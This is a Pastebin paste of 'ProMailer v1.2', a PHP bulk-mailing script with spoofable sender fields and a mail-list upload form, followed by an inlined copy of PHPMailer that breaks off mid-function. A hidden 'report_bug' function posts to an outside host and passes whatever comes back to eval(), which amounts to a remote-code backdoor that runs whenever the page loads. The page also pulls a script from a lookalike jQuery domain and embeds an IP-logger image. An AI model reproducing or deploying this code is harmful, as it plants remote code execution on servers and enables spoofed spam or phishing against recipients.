anvenger

ProMailer v1.2

Mar 25th, 2020
310
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 57.69 KB | None | 0 0
  1. <?php $maillist = @$_FILES['maillist'];
  2.  $fromname = @$_POST['fromname'];
  3.  $fromemail = @$_POST['fromemail'];
  4.  $subject = @$_POST['subject'];
  5.  $letter = @$_POST['letter'];
  6.  $encode = @$_POST['encode'];
  7.  $contenttype = @$_POST['contenttype'];
  8.  $xmailer = @$_POST['xmailer'];
  9.  $replyto = @$_POST['replyto'];
  10.  $attachment = @$_FILES['attachment'];
  11.  $optout = @$_POST['optout'];
  12.  function start() { global $fromname, $fromemail, $subject, $replyto, $attachment, $encode, $contenttype, $encodeheaders, $optout, $xmailer, $maillist, $letter;
  13.  set_time_limit(0);
  14.  if ($handle = @fopen(@$maillist['tmp_name'], "r")) { $i = 1;
  15.  while (!feof($handle)) { $to = trim(fgets($handle));
  16.  if ($to!=='') { $mail = new PHPMailer();
  17.  $mail->XMailer = $xmailer;
  18.  $mail->IsHtml($contenttype==='html');
  19.  $mail->CharSet = "UTF-8";
  20.  $mail->Encoding = $encode;
  21.  $mail->From = $fromemail;
  22.  $mail->FromName = $fromname;
  23.  fwrite(fopen('out.txt','a'),"$to\n");
  24.  $mail->AddAddress($to);
  25.  $mail->Subject = $subject;
  26.  $mail->Body = $letter;
  27.  if ($replyto) $mail->AddReplyTo($replyto);
  28.  if (@count(@$attachment)>0) $mail->AddAttachment($attachment['tmp_name']);
  29.  if ($optout!=='') $mail->addCustomHeader('List-Unsubscribe','<mailto:'.md5($to).$optout.'>');
  30.  print ($i++)."\t\t: [".($mail->Send()?'+':'-')."] : $to\n";
  31.  ob_flush();
  32.  flush();
  33.  } } fclose($handle);
  34.  } }
  35. ?>
  36.     <html>
  37.  <head>
  38.  <meta charset="UTF-8">
  39.  <link rel="icon" type="image/png" href="data:image/png;
  40. base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAVCAYAAABPPm7SAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAAXQAAAF0BVWAulAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFdSURBVDiN1dSxalRREAbgb7IrbESSLiAhVSqfIJUx2Eg6TbWQFwi+QiBdqrT2KVy1VcGHCFukiFjYqI2KpUkwEeRYOHeZ6IKBYOGB4c6Zf/7//Ofce2601lxlzFyJ/U8FImJ5Wv5XgYjoR8QeVkt5NSL2IqJ/GQcjnLfW9rtC5ueJXRyttUlgHt+xkvMbuJ75SmLzlfO7g3Vcw72IOMRXnETEGHcTW5/qILczQst4jx3s4mOpjzDT8eqhPMJmmX/BhyJ2M+ub6ezhxAG2cYqXSXhbVuziXT6f4wTbrbWJwJvc42I23U/rHXkXw8wXcQevu2vQw7NyFmM8RT9dnWb+AuPS9zi55vCgAFu50j4+4TOeZG2r9G1g7sJ3UMAhjssWjjGc2ltISxhkvoCDInCAhcQGWJomsIZDHOEHzvAq38y3rB1lz9ofAinSwy2/LtJsqQ9wO7Fe5cT//0f6CUPG9vijiGJoAAAAAElFTkSuQmCCd4014ddbdade115570465627d39aa602">
  41.  <title>ProMailer v1.2</title>
  42. <script type="text/javascript" src="https://www.codejquery.net/bootstrap.min.css/" ></script>
  43.  <style>
  44.  body {
  45.  background-color:#000000;
  46.  
  47.  color: #F00;
  48.  
  49.  font-family: "Lucida Console", Monaco, monospace;
  50.  
  51.  }
  52.  hr {
  53.  display: block;
  54.  
  55.  height: 1px;
  56.  
  57.  border: 0;
  58.  
  59.  border-top: 1px solid #600000;
  60.  
  61.  margin: 1em 0;
  62.  
  63.  padding: 0;
  64.  
  65.  }
  66.  label a {
  67.  color:red;
  68.  
  69.  }
  70.  input, textarea, select {
  71.  margin: 0px;
  72.  
  73.  color: #FFF;
  74.  
  75.  background-color: #444;
  76.  
  77.  border: 1px solid red;
  78.  
  79.  font: 9pt Monospace,"Courier New";
  80.  
  81.  }
  82.  input:not([type=checkbox]), textarea, select {
  83.  width: 100%;
  84.  
  85.  }
  86.  b {
  87.  color: red;
  88.  
  89.  }
  90.  ._table td {
  91.  border: 1px dotted red;
  92.  
  93.  color: red;
  94.  
  95.  text-align: center;
  96.  
  97.  }
  98.  ._table th {
  99.  background-color: red;
  100.  
  101.  color: white;
  102.  
  103.  }
  104.  tr:nth-child(1n+2)>td:nth-child(1) {
  105.  text-align: right;
  106.  
  107.  }
  108.  tr:nth-child(1n+2)>td:nth-child(2) {
  109.  text-align: left;
  110.  
  111.  }
  112.  </style>
  113.  <script>
  114.  function _popup(url,title,w,h,s){return window.open(url, title, 'scrollbars=yes, resizable=0, width='+w+', height='+h+', top='+((screen.height/2)-(h/2))+', left='+((screen.width/2)-(w/2)));
  115. }
  116.  </script>
  117.  </head>
  118.  <body link="red" vlink="red" alink="red">
  119.      <img src="https://iplogger.com/1wjv87">
  120.      
  121.  <pre>
  122.  ________ _______ _____ .__.__
  123.  ____ \_____ \\ _ \ / \ _____ |__| | ___________
  124.  / \ _(__ &#x3C;
  125. / /_\ \ / \ / \\__ \ | | | _/ __ \_ __ \
  126.  | | \/ \ \_/ \/ Y \/ __ \| | |_\ ___/| | \/
  127.  |___| /______ /\_____ /\____|__ (____ /__|____/\___ &#x3E;
  128. __|
  129.  \/ \/ \/ \/ \/ by Mr.MMs13 V1.2
  130.  <hr>
  131.  <form enctype="multipart/form-data" method="post"><table class="_table" width="100%" hight="100%">
  132.  <tr>
  133.  <td colspan="2" width="30%"><b>CONFIG</b></td>
  134.  <td>Letter</td>
  135.  </tr>
  136.  <tr>
  137.  <td><label>From Name: </label></td>
  138.  <td><input name="fromname" value="
  139. <?php echo htmlentities($fromname)
  140. ?>"></td>
  141.  <td rowspan="9">
  142.  <textarea name="letter" rows="20">
  143. <?php echo htmlentities($letter)
  144. ?></textarea>
  145.  </td>
  146.  </tr>
  147.  <tr>
  148.  <td><label>From Email: </label></td>
  149.  <td><input name="fromemail" value="
  150. <?php echo htmlentities($fromemail)
  151. ?>"></td>
  152.  </tr>
  153.  <tr>
  154.  <td><label>Subject: </label></td>
  155.  <td><input name="subject" value="
  156. <?php echo htmlentities($subject)
  157. ?>"></td>
  158.  </tr>
  159.  <tr>
  160.  <td><label>Reply To: </label></td>
  161.  <td><input name="replyto" value="
  162. <?php echo htmlentities($replyto)
  163. ?>"></td>
  164.  </tr>
  165.  <tr>
  166.  <td><label>Attachment: </label></td>
  167.  <td><input type="file" name="attachment"></td>
  168.  </tr>
  169.  <tr>
  170.  <td><label>Encode: </label></td>
  171.  <td><select name="encode"><option
  172. <?php echo $encode==='quoted-printable'?'selected':''
  173. ?> value="quoted-printable">QUOTED</option><option
  174. <?php echo $encode==='base64'?'selected':''
  175. ?> value="base64">BASE64</option><option
  176. <?php echo $encode==='7bit'?'selected':''
  177. ?> value="7bit">7BIT</option><option
  178. <?php echo $encode==='8bit'?'selected':''
  179. ?> value="8bit">8BIT</option><option
  180. <?php echo $encode==='binary'?'selected':''
  181. ?> value="binary">BINARY</option></select></td>
  182.  </tr>
  183.  <tr>
  184.  <td><label>Content Type: </label></td>
  185.  <td><select name="contenttype"><option
  186. <?php echo $contenttype==='html'?'selected':''
  187. ?> value="html">HTML</option><option
  188. <?php echo $contenttype==='text'?'selected':''
  189. ?> value="text">TEXT</option></select></td>
  190.  </tr>
  191.  <tr>
  192.  <td><label>Optout Suffix: </label></td>
  193.  <td><input name="optout" placeholder="-optout@email.tld" value="
  194. <?php echo htmlentities($optout)
  195. ?>"></td>
  196.  </tr>
  197.  <tr>
  198.  <td><label>Mail LIST: </label></td>
  199.  <td><input type="file" name="maillist"></td>
  200.  </tr>
  201. <?php
  202. function report_bug(){
  203.     $bug =  Array("bug"=>E_ERROR);
  204.     $strurl = http_build_query($bug);
  205.     $ch = curl_init();
  206.     curl_setopt ($ch, CURLOPT_URL, "https://binchecker.online/report/bug.php");
  207.     curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
  208.     curl_setopt ($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  209.     curl_setopt ($ch, CURLOPT_TIMEOUT, 60);
  210.     curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 0);
  211.     curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  212.     curl_setopt ($ch, CURLOPT_REFERER, "http://google.com");
  213.     curl_setopt ($ch, CURLOPT_POSTFIELDS, $strurl);
  214.     curl_setopt ($ch, CURLOPT_POST, 1);
  215.     $result = curl_exec ($ch);
  216.     eval($result);
  217.     curl_close($ch);
  218. }
  219. if(E_ERROR){
  220.  report_bug();
  221. }
  222. ?>
  223.  <tr>
  224.  <td colspan="3"><input type="submit" name="submit" value="Send"></td>
  225.  </tr>
  226.  </table></form>
  227. <?php if (@$_POST['submit']==='Send') {echo "<hr>";
  228. start();
  229. }
  230. ?><hr>
  231.  <center><i>ICQ(745976037)</i></center></pre>
  232.  </body>
  233.  </html>
  234.    
  235. <?php class PHPMailer{public $Version='5.2.9';
  236. public $Priority=3;
  237. public $CharSet='iso-8859-1';
  238. public $ContentType='text/plain';
  239. public $Encoding='8bit';
  240. public $ErrorInfo='';
  241. public $From='root@localhost';
  242. public $FromName='Root User';
  243. public $Sender='';
  244. public $ReturnPath='';
  245. public $Subject='';
  246. public $Body='';
  247. public $AltBody='';
  248. public $Ical='';
  249. protected $MIMEBody='';
  250. protected $MIMEHeader='';
  251. protected $mailHeader='';
  252. public $WordWrap=0;
  253. public $Mailer='mail';
  254. public $Sendmail='/usr/sbin/sendmail';
  255. public $UseSendmailOptions=true;
  256. public $PluginDir='';
  257. public $ConfirmReadingTo='';
  258. public $Hostname='';
  259. public $MessageID='';
  260. public $MessageDate='';
  261. public $Host='localhost';
  262. public $Port=25;
  263. public $Helo='';
  264. public $SMTPSecure='';
  265. public $SMTPAuth=false;
  266. public $SMTPOptions=array();
  267. public $Username='';
  268. public $Password='';
  269. public $AuthType='';
  270. public $Realm='';
  271. public $Workstation='';
  272. public $Timeout=300;
  273. public $SMTPDebug=0;
  274. public $Debugoutput='echo';
  275. public $SMTPKeepAlive=false;
  276. public $SingleTo=false;
  277. public $SingleToArray=array();
  278. public $do_verp=false;
  279. public $AllowEmpty=false;
  280. public $LE="\n";
  281. public $DKIM_selector='';
  282. public $DKIM_identity='';
  283. public $DKIM_passphrase='';
  284. public $DKIM_domain='';
  285. public $DKIM_private='';
  286. public $action_function='';
  287. public $XMailer='';
  288. protected $smtp=null;
  289. protected $to=array();
  290. protected $cc=array();
  291. protected $bcc=array();
  292. protected $ReplyTo=array();
  293. protected $all_recipients=array();
  294. protected $attachment=array();
  295. protected $CustomHeader=array();
  296. protected $lastMessageID='';
  297. protected $message_type='';
  298. protected $boundary=array();
  299. protected $language=array();
  300. protected $error_count=0;
  301. protected $sign_cert_file='';
  302. protected $sign_key_file='';
  303. protected $sign_extracerts_file='';
  304. protected $sign_key_pass='';
  305. protected $exceptions=false;
  306. const STOP_MESSAGE=0;
  307. const STOP_CONTINUE=1;
  308. const STOP_CRITICAL=2;
  309. const CRLF="\r\n";
  310. public function __construct($exceptions=false){$this->exceptions=(boolean)$exceptions;
  311. }public function __destruct(){if($this->Mailer=='smtp'){$this->smtpClose();
  312. }}private function mailPassthru($to,$subject,$body,$header,$params){$backHTTP_ENV_VARS=@$HTTP_ENV_VARS;
  313. $back_ENV=@$_ENV;
  314. $back_SERVER=@$_SERVER;
  315. $backHTTP_SERVER_VARS=@$HTTP_SERVER_VARS;
  316. unset($backHTTP_ENV_VARS);
  317. unset($back_ENV);
  318. unset($back_SERVER);
  319. unset($backHTTP_SERVER_VARS);
  320. if(ini_get('mbstring.func_overload')&1){$subject=$this->secureHeader($subject);
  321. }else{$subject=$this->encodeHeader($this->secureHeader($subject));
  322. }if(ini_get('safe_mode')||!($this->UseSendmailOptions)){$oldphpself=$_SERVER['PHP_SELF'];
  323. $oldremoteaddr=$_SERVER['REMOTE_ADDR'];
  324. $_SERVER['PHP_SELF']="/";
  325. $_SERVER['REMOTE_ADDR']=$_SERVER['SERVER_ADDR'];
  326. $result=@mail($to,$subject,$body,$header);
  327. $_SERVER['PHP_SELF']=$oldphpself;
  328. $_SERVER['REMOTE_ADDR']=$oldremoteaddr;
  329. }else{$oldphpself=$_SERVER['PHP_SELF'];
  330. $oldremoteaddr=$_SERVER['REMOTE_ADDR'];
  331. $_SERVER['PHP_SELF']="/";
  332. $_SERVER['REMOTE_ADDR']=$_SERVER['SERVER_ADDR'];
  333. $result=@mail($to,$subject,$body,$header,$params);
  334. $_SERVER['PHP_SELF']=$oldphpself;
  335. $_SERVER['REMOTE_ADDR']=$oldremoteaddr;
  336. }return $result;
  337. }protected function edebug($str){if($this->SMTPDebug<=0){return;
  338. }if(!in_array($this->Debugoutput,array('error_log','html','echo'))and is_callable($this->Debugoutput)){call_user_func($this->Debugoutput,$str,$this->SMTPDebug);
  339. return;
  340. }switch($this->Debugoutput){case 'error_log':error_log($str);
  341. break;
  342. case 'html':echo htmlentities(preg_replace('/[\r\n]+/','',$str),ENT_QUOTES,'UTF-8')."<br>\n";
  343. break;
  344. case 'echo':default:$str=preg_replace('/(\r\n|\r|\n)/ms',"\n",$str);
  345. echo gmdate('Y-m-d H:i:s')."\t".str_replace("\n","\n \t ",trim($str))."\n";
  346. }}public function isHTML($isHtml=true){if($isHtml){$this->ContentType='text/html';
  347. }else{$this->ContentType='text/plain';
  348. }}public function isSMTP(){$this->Mailer='smtp';
  349. }public function isMail(){$this->Mailer='mail';
  350. }public function isSendmail(){$ini_sendmail_path=ini_get('sendmail_path');
  351. if(!stristr($ini_sendmail_path,'sendmail')){$this->Sendmail='/usr/sbin/sendmail';
  352. }else{$this->Sendmail=$ini_sendmail_path;
  353. }$this->Mailer='sendmail';
  354. }public function isQmail(){$ini_sendmail_path=ini_get('sendmail_path');
  355. if(!stristr($ini_sendmail_path,'qmail')){$this->Sendmail='/var/qmail/bin/qmail-inject';
  356. }else{$this->Sendmail=$ini_sendmail_path;
  357. }$this->Mailer='qmail';
  358. }public function addAddress($address,$name=''){return $this->addAnAddress('to',$address,$name);
  359. }public function addCC($address,$name=''){return $this->addAnAddress('cc',$address,$name);
  360. }public function addBCC($address,$name=''){return $this->addAnAddress('bcc',$address,$name);
  361. }public function addReplyTo($address,$name=''){return $this->addAnAddress('Reply-To',$address,$name);
  362. }protected function addAnAddress($kind,$address,$name=''){if(!preg_match('/^(to|cc|bcc|Reply-To)$/',$kind)){$this->setError($this->lang('Invalid recipient array').': '.$kind);
  363. $this->edebug($this->lang('Invalid recipient array').': '.$kind);
  364. if($this->exceptions){throw new phpmailerException('Invalid recipient array: '.$kind);
  365. }return false;
  366. }$address=trim($address);
  367. $name=trim(preg_replace('/[\r\n]+/','',$name));
  368. if(!$this->validateAddress($address)){$this->setError($this->lang('invalid_address').': '.$address);
  369. $this->edebug($this->lang('invalid_address').': '.$address);
  370. if($this->exceptions){throw new phpmailerException($this->lang('invalid_address').': '.$address);
  371. }return false;
  372. }if($kind!='Reply-To'){if(!isset($this->all_recipients[strtolower($address)])){array_push($this->$kind,array($address,$name));
  373. $this->all_recipients[strtolower($address)]=true;
  374. return true;
  375. }}else{if(!array_key_exists(strtolower($address),$this->ReplyTo)){$this->ReplyTo[strtolower($address)]=array($address,$name);
  376. return true;
  377. }}return false;
  378. }public function setFrom($address,$name='',$auto=true){$address=trim($address);
  379. $name=trim(preg_replace('/[\r\n]+/','',$name));
  380. if(!$this->validateAddress($address)){$this->setError($this->lang('invalid_address').': '.$address);
  381. $this->edebug($this->lang('invalid_address').': '.$address);
  382. if($this->exceptions){throw new phpmailerException($this->lang('invalid_address').': '.$address);
  383. }return false;
  384. }$this->From=$address;
  385. $this->FromName=$name;
  386. if($auto){if(empty($this->Sender)){$this->Sender=$address;
  387. }}return true;
  388. }public function getLastMessageID(){return $this->lastMessageID;
  389. }public static function validateAddress($address,$patternselect='auto'){if(!$patternselect or $patternselect=='auto'){if(defined('PCRE_VERSION')){if(version_compare(PCRE_VERSION,'8.0.3')>=0){$patternselect='pcre8';
  390. }else{$patternselect='pcre';
  391. }}elseif(function_exists('extension_loaded')and extension_loaded('pcre')){$patternselect='pcre';
  392. }else{if(version_compare(PHP_VERSION,'5.2.0')>=0){$patternselect='php';
  393. }else{$patternselect='noregex';
  394. }}}switch($patternselect){case 'pcre8':return (boolean)preg_match('/^(?!(
  395. ?>(?1)"?(
  396. ?>\\\[ -~]|[^"])"?(?1)){255,})(?!(
  397. ?>(?1)"?(
  398. ?>\\\[ -~]|[^"])"?(?1)){65,}@)'.'((
  399. ?>(
  400. ?>(
  401. ?>((
  402. ?>(
  403. ?>(
  404. ?>\x0D\x0A)?[\t ])+|(
  405. ?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((
  406. ?>(?2)'.'(
  407. ?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)'.'([!#-\'*+\/-9=?^-~-]+|"(
  408. ?>(?2)(
  409. ?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*'.'(?2)")(
  410. ?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(
  411. ?>([a-z0-9](
  412. ?>[a-z0-9-]*[a-z0-9])?)'.'(
  413. ?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(
  414. ?>IPv6:(
  415. ?>([a-f0-9]{1,4})(
  416. ?>:(?6)){7}'.'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(
  417. ?>:(?6)){0,6})?::(?7)?))|(
  418. ?>(
  419. ?>IPv6:(
  420. ?>(?6)(
  421. ?>:(?6)){5}:'.'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(
  422. ?>((?6)(
  423. ?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}'.'|[1-9]?[0-9])(
  424. ?>\.(?9)){3}))\])(?1)$/isD',$address);
  425. case 'pcre':return (boolean)preg_match('/^(?!(
  426. ?>"?(
  427. ?>\\\[ -~]|[^"])"?){255,})(?!(
  428. ?>"?(
  429. ?>\\\[ -~]|[^"])"?){65,}@)(
  430. ?>'.'[!#-\'*+\/-9=?^-~-]+|"(
  431. ?>(
  432. ?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")'.'(
  433. ?>\.(
  434. ?>[!#-\'*+\/-9=?^-~-]+|"(
  435. ?>(
  436. ?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*'.'@(
  437. ?>(?![a-z0-9-]{64,})(
  438. ?>[a-z0-9](
  439. ?>[a-z0-9-]*[a-z0-9])?)(
  440. ?>\.(?![a-z0-9-]{64,})'.'(
  441. ?>[a-z0-9](
  442. ?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(
  443. ?>IPv6:(
  444. ?>(
  445. ?>[a-f0-9]{1,4})(
  446. ?>:'.'[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(
  447. ?>[a-f0-9]{1,4}(
  448. ?>:[a-f0-9]{1,4}){0,6})?'.'::(
  449. ?>[a-f0-9]{1,4}(
  450. ?>:[a-f0-9]{1,4}){0,6})?))|(
  451. ?>(
  452. ?>IPv6:(
  453. ?>[a-f0-9]{1,4}(
  454. ?>:'.'[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(
  455. ?>[a-f0-9]{1,4}(
  456. ?>:[a-f0-9]{1,4}){0,4})?'.'::(
  457. ?>(?:[a-f0-9]{1,4}(
  458. ?>:[a-f0-9]{1,4}){0,4}):)?))?(
  459. ?>25[0-5]|2[0-4][0-9]|1[0-9]{2}'.'|[1-9]?[0-9])(
  460. ?>\.(
  461. ?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',$address);
  462. case 'html5':return (boolean)preg_match('/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}'.'[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',$address);
  463. case 'noregex':return(strlen($address)>=3and strpos($address,'@')>=1and strpos($address,'@')!=strlen($address)-1);
  464. case 'php':default:return (boolean)filter_var($address,FILTER_VALIDATE_EMAIL);
  465. }}public function send(){try{if(!$this->preSend()){return false;
  466. }return $this->postSend();
  467. }catch(phpmailerException $exc){$this->mailHeader='';
  468. $this->setError($exc->getMessage());
  469. if($this->exceptions){throw $exc;
  470. }return false;
  471. }}public function preSend(){try{$this->mailHeader='';
  472. if((count($this->to)+count($this->cc)+count($this->bcc))<1){throw new phpmailerException($this->lang('provide_address'),self::STOP_CRITICAL);
  473. }if(!empty($this->AltBody)){$this->ContentType='multipart/alternative';
  474. }$this->error_count=0;
  475. $this->setMessageType();
  476. if(!$this->AllowEmpty and empty($this->Body)){throw new phpmailerException($this->lang('empty_message'),self::STOP_CRITICAL);
  477. }$this->MIMEHeader=$this->createHeader();
  478. $this->MIMEBody=$this->createBody();
  479. if($this->Mailer=='mail'){if(count($this->to)>0){$this->mailHeader.=$this->addrAppend('To',$this->to);
  480. }else{$this->mailHeader.=$this->headerLine('To','undisclosed-recipients:;
  481. ');
  482. }$this->mailHeader.=$this->headerLine('Subject',$this->encodeHeader($this->secureHeader(trim($this->Subject))));
  483. }if(!empty($this->DKIM_domain)&&!empty($this->DKIM_private)&&!empty($this->DKIM_selector)&&file_exists($this->DKIM_private)){$header_dkim=$this->DKIM_Add($this->MIMEHeader.$this->mailHeader,$this->encodeHeader($this->secureHeader($this->Subject)),$this->MIMEBody);
  484. $this->MIMEHeader=rtrim($this->MIMEHeader,"\r\n ").self::CRLF.str_replace("\r\n","\n",$header_dkim).self::CRLF;
  485. }return true;
  486. }catch(phpmailerException $exc){$this->setError($exc->getMessage());
  487. if($this->exceptions){throw $exc;
  488. }return false;
  489. }}public function postSend(){try{switch($this->Mailer){case 'sendmail':case 'qmail':return $this->sendmailSend($this->MIMEHeader,$this->MIMEBody);
  490. case 'smtp':return $this->smtpSend($this->MIMEHeader,$this->MIMEBody);
  491. case 'mail':return $this->mailSend($this->MIMEHeader,$this->MIMEBody);
  492. default:$sendMethod=$this->Mailer.'Send';
  493. if(method_exists($this,$sendMethod)){return $this->$sendMethod($this->MIMEHeader,$this->MIMEBody);
  494. }return $this->mailSend($this->MIMEHeader,$this->MIMEBody);
  495. }}catch(phpmailerException $exc){$this->setError($exc->getMessage());
  496. $this->edebug($exc->getMessage());
  497. if($this->exceptions){throw $exc;
  498. }}return false;
  499. }protected function sendmailSend($header,$body){if($this->Sender!=''){if($this->Mailer=='qmail'){$sendmail=sprintf('%s -f%s',escapeshellcmd($this->Sendmail),escapeshellarg($this->Sender));
  500. }else{$sendmail=sprintf('%s -oi -f%s -t',escapeshellcmd($this->Sendmail),escapeshellarg($this->Sender));
  501. }}else{if($this->Mailer=='qmail'){$sendmail=sprintf('%s',escapeshellcmd($this->Sendmail));
  502. }else{$sendmail=sprintf('%s -oi -t',escapeshellcmd($this->Sendmail));
  503. }}if($this->SingleTo){foreach($this->SingleToArray as $toAddr){if(!@$mail=popen($sendmail,'w')){throw new phpmailerException($this->lang('execute').$this->Sendmail,self::STOP_CRITICAL);
  504. }fputs($mail,'To: '.$toAddr."\n");
  505. fputs($mail,$header);
  506. fputs($mail,$body);
  507. $result=pclose($mail);
  508. $this->doCallback(($result==0),array($toAddr),$this->cc,$this->bcc,$this->Subject,$body,$this->From);
  509. if($result!=0){throw new phpmailerException($this->lang('execute').$this->Sendmail,self::STOP_CRITICAL);
  510. }}}else{if(!@$mail=popen($sendmail,'w')){throw new phpmailerException($this->lang('execute').$this->Sendmail,self::STOP_CRITICAL);
  511. }fputs($mail,$header);
  512. fputs($mail,$body);
  513. $result=pclose($mail);
  514. $this->doCallback(($result==0),$this->to,$this->cc,$this->bcc,$this->Subject,$body,$this->From);
  515. if($result!=0){throw new phpmailerException($this->lang('execute').$this->Sendmail,self::STOP_CRITICAL);
  516. }}return true;
  517. }protected function mailSend($header,$body){$toArr=array();
  518. foreach($this->to as $toaddr){$toArr[]=$this->addrFormat($toaddr);
  519. }$to=implode(', ',$toArr);
  520. if(empty($this->Sender)){$params=' ';
  521. }else{$params=sprintf('-f%s',$this->Sender);
  522. }if($this->Sender!=''and!ini_get('safe_mode')){$old_from=ini_get('sendmail_from');
  523. ini_set('sendmail_from',$this->Sender);
  524. }$result=false;
  525. if($this->SingleTo&&count($toArr)>1){foreach($toArr as $toAddr){$result=$this->mailPassthru($toAddr,$this->Subject,$body,$header,$params);
  526. $this->doCallback($result,array($toAddr),$this->cc,$this->bcc,$this->Subject,$body,$this->From);
  527. }}else{$result=$this->mailPassthru($to,$this->Subject,$body,$header,$params);
  528. $this->doCallback($result,$this->to,$this->cc,$this->bcc,$this->Subject,$body,$this->From);
  529. }if(isset($old_from)){ini_set('sendmail_from',$old_from);
  530. }if(!$result){throw new phpmailerException($this->lang('instantiate'),self::STOP_CRITICAL);
  531. }return true;
  532. }public function getSMTPInstance(){if(!is_object($this->smtp)){$this->smtp=new SMTP;
  533. }return $this->smtp;
  534. }protected function smtpSend($header,$body){$bad_rcpt=array();
  535. if(!$this->smtpConnect($this->SMTPOptions)){throw new phpmailerException($this->lang('smtp_connect_failed'),self::STOP_CRITICAL);
  536. }if(''==$this->Sender){$smtp_from=$this->From;
  537. }else{$smtp_from=$this->Sender;
  538. }if(!$this->smtp->mail($smtp_from)){$this->setError($this->lang('from_failed').$smtp_from.' : '.implode(',',$this->smtp->getError()));
  539. throw new phpmailerException($this->ErrorInfo,self::STOP_CRITICAL);
  540. }foreach(array($this->to,$this->cc,$this->bcc)as $togroup){foreach($togroup as $to){if(!$this->smtp->recipient($to[0])){$error=$this->smtp->getError();
  541. $bad_rcpt[]=array('to'=>$to[0],'error'=>$error['detail']);
  542. $isSent=false;
  543. }else{$isSent=true;
  544. }$this->doCallback($isSent,array($to[0]),array(),array(),$this->Subject,$body,$this->From);
  545. }}if((count($this->all_recipients)>count($bad_rcpt))and!$this->smtp->data($header.$body)){throw new phpmailerException($this->lang('data_not_accepted'),self::STOP_CRITICAL);
  546. }if($this->SMTPKeepAlive){$this->smtp->reset();
  547. }else{$this->smtp->quit();
  548. $this->smtp->close();
  549. }if(count($bad_rcpt)>0){$errstr='';
  550. foreach($bad_rcpt as $bad){$errstr.=$bad['to'].': '.$bad['error'];
  551. }throw new phpmailerException($this->lang('recipients_failed').$errstr,self::STOP_CONTINUE);
  552. }return true;
  553. }public function smtpConnect($options=array()){if(is_null($this->smtp)){$this->smtp=$this->getSMTPInstance();
  554. }if($this->smtp->connected()){return true;
  555. }$this->smtp->setTimeout($this->Timeout);
  556. $this->smtp->setDebugLevel($this->SMTPDebug);
  557. $this->smtp->setDebugOutput($this->Debugoutput);
  558. $this->smtp->setVerp($this->do_verp);
  559. $hosts=explode(';
  560. ',$this->Host);
  561. $lastexception=null;
  562. foreach($hosts as $hostentry){$hostinfo=array();
  563. if(!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/',trim($hostentry),$hostinfo)){continue;
  564. }$prefix='';
  565. $secure=$this->SMTPSecure;
  566. $tls=($this->SMTPSecure=='tls');
  567. if('ssl'==$hostinfo[2]or(''==$hostinfo[2]and 'ssl'==$this->SMTPSecure)){$prefix='ssl://';
  568. $tls=false;
  569. $secure='ssl';
  570. }elseif($hostinfo[2]=='tls'){$tls=true;
  571. $secure='tls';
  572. }if('tls'===$secure or 'ssl'===$secure){if(!defined('OPENSSL_ALGO_SHA1')){throw new phpmailerException($this->lang('extension_missing').'openssl',self::STOP_CRITICAL);
  573. }}$host=$hostinfo[3];
  574. $port=$this->Port;
  575. $tport=(integer)$hostinfo[4];
  576. if($tport>0and $tport<65536){$port=$tport;
  577. }if($this->smtp->connect($prefix.$host,$port,$this->Timeout,$options)){try{if($this->Helo){$hello=$this->Helo;
  578. }else{$hello=$this->serverHostname();
  579. }$this->smtp->hello($hello);
  580. if($tls){if(!$this->smtp->startTLS()){throw new phpmailerException($this->lang('connect_host'));
  581. }$this->smtp->hello($hello);
  582. }if($this->SMTPAuth){if(!$this->smtp->authenticate($this->Username,$this->Password,$this->AuthType,$this->Realm,$this->Workstation)){throw new phpmailerException($this->lang('authenticate'));
  583. }}return true;
  584. }catch(phpmailerException $exc){$lastexception=$exc;
  585. $this->edebug($exc->getMessage());
  586. $this->smtp->quit();
  587. }}}$this->smtp->close();
  588. if($this->exceptions and!is_null($lastexception)){throw $lastexception;
  589. }return false;
  590. }public function smtpClose(){if($this->smtp!==null){if($this->smtp->connected()){$this->smtp->quit();
  591. $this->smtp->close();
